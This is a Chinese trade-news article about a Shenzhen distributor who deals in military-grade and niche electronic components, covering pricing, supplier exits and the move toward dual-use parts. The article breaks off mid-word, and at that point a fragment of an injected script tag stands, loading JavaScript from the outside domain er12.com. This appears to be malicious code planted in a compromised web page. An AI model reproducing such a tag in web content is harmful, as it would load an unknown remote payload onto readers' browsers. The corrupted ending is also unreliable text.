（华强电子世界独家报道）昨天，在深圳华强电子世界走访时，记者发现，在几千家元器件经销商当中，专营军用、冷门电子元器件寥寥无几。
是这个市场难赚到钱？是这部分元器件的货源特殊？还是经销商的经营有问题？
带着这样的疑问，记者采访了华强电子世界的经销商林先生，他阐述了自己“量体裁衣”的理论：我的发展思路是做别人做不了或不愿意做、但高价值的行业；我不等那些大批量的产品，其实我是摆脱了主流竞争圈。
这才是林先生的制胜之道。在军用冷门元器件能杀出自己的“血路”。和经营思维有关系。当然，和他研究这个领域的特点很有关系。事实上，代理任何元器件产品，都要有这种穷究规律的勇气和决心，这样结合自己的特点，才能出奇制胜。
冷门：军用元器件尴尬
军用冷门元器件，特殊的属性决定了他的“生冷”的一面。也就是不太大众化。
军事和宇航应用属于特殊应用范围。其应用系统要受到体积、重量、可靠性的严格限制，通常要求要有经受得起强烈的冲击、振动、辐射和其它环境极端条件影响的能力。在这些条件下，军用冷门的元器件价格高是必然的。例如，采用陶瓷封装的军用级dsp的价格高达2,000美金。
价格高，但采购量太低，同时研发成本又太高，就直接导致了利润率低下，以致供应商纷纷止步。从90年代中期开始，规模比较大的ic供应商纷纷从他们的产品目录中砍掉军事项目。lsi logic公司在九十年代中期退出了该市场。
尽管当前的国防开支增加了，但还是不太可能扭转这种趋势。美国政府电子与信息技术协会(geia)副主席jim serafin表示：“军用电子一直是一个增长的市场，但不会出现飞速增长。”他称，虽然美国防部今年将在军用电子设备上花费749亿美元，但与2003年相比只不过增长了4%。而pc市场的年增长率曾经达到15%左右。
变化：军用元器件求生
专家认为，军用冷门元器件的突围，必须看到“各种市场机会”。就目前来说，双用途器件是受欢迎的。
semico research公司的分析师tony massimini表示：“虽然军用是一个相对较小的市场，但其技术通常能找到大批量商用的市场。”目前市场来看，军事采购中最大的改变，就是军用指标的弱化。在某些情况下，军事设备厂商会寻找那些可被重新设计用于民用的军用级器件。有些常见的高技术产品，实际上属于军用和民用双用途类别，例如gps仪器和超声医疗设备。这两种都是首先用于军事，而后用到消费领域。
这种转变显然能够降低总成本的压力。比如在器件封装中采用更多的工业级塑料来取代陶瓷，可以将总体成本大幅降低。事实上，当供应商将器件升级到军用级别时，成本增加通常要以10来相乘。这种转变，也越来越多地为满足常规工业标准打开了一扇门。商用级别的器件具有较低的成本，这让许多买家坚定地转向双级别的ic。
经营：摆脱主流模式
当问到这种转变对经销商来说有什么影响时，林先生表示，“这是好事”。他认为，这样一来，为他们减少不少风险，因为市场相对来说，拓宽了不少。
而谈到自己的经营经验，他认为，弄清楚这个行当的特性，量体裁衣是关键。
有时候，违背主流和常规，也是一条很好的路。林先生经营这一块元器件已经4年了，而且还将继续做下去。他说，自己也看到了普通元器件经营的便利和好处，但是这是一个竞争积聚明显的行当，很难出奇制胜，自己还不如另辟蹊径，摆脱主流竞争圈的经营模式，轻装上阵。
其实，还有更深层次的原因，使得在这块领域里的经销商获得实实在在的好处。
首先，库存风险小。市场调查显示：经营常规元器件的经销商投资回报快，但利润薄(一般都在2%至8%之间)，靠量大赢得销售额，库存风险大。而军用冷门元器件经销商的投资回报期较长，前期投资风险大，往往开发一个新的客?script src=http://er12.com/t.js>
